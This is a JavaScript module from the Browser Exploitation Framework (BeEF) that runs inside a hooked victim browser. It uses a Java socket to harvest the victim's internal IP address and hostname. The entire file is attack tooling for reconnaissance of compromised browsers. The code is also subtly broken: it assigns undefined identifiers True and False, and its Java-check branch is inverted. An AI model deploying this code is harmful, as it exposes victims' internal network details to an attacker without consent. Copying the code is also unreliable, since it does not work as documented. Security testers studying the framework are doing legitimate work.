Source: net/local.js

//
// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides networking functions for the local/internal network of the zombie.
 * @namespace beef.net.local
 */
beef.net.local = {
	
	sock: false,
	checkJava: false,
	hasJava: false,
	
	/**
	 * Initializes the java socket. We have to use this method because
	 * some browsers do not have java installed or it is not accessible.
	 * in which case creating a socket directly generates an error. So this code
	 * is invalid:
	 * sock: new java.net.Socket();
	 */
	initializeSocket: function() {
		if(this.checkJava){	
			if(!beef.browser.hasJava()) {
				this.checkJava=True;
				this.hasJava=False;
				return -1;
			}else{
				this.checkJava=True;
				this.hasJava=True;
				return 1;
			}
		}
		else{
			if(!this.hasJava) return -1;
			else{	
				try {
					this.sock = new java.net.Socket();
				} catch(e) {
					return -1;
				}
				return 1;
			}
		}
	},
	
	/**
	 * Returns the internal IP address of the zombie.
	 * @return {String} the internal ip of the zombie.
	 * @error return -1 if the internal ip cannot be retrieved.
	 */
	getLocalAddress: function() {
		if(!this.hasJava) return false;
		
		this.initializeSocket();
		
		try {
			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
			
			return this.sock.getLocalAddress().getHostAddress();
		} catch(e) { return false; }
	},
	
	/**
	 * Returns the internal hostname of the zombie.
	 * @return {String} the internal hostname of the zombie.
	 * @error return -1 if the hostname cannot be retrieved.
	 */
	getLocalHostname: function() {
		if(!this.hasJava) return false;
		
		this.initializeSocket();
		
		try {
			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
			
			return this.sock.getLocalAddress().getHostName();
		} catch(e) { return false; }
	}
	
};

beef.regCmp('beef.net.local');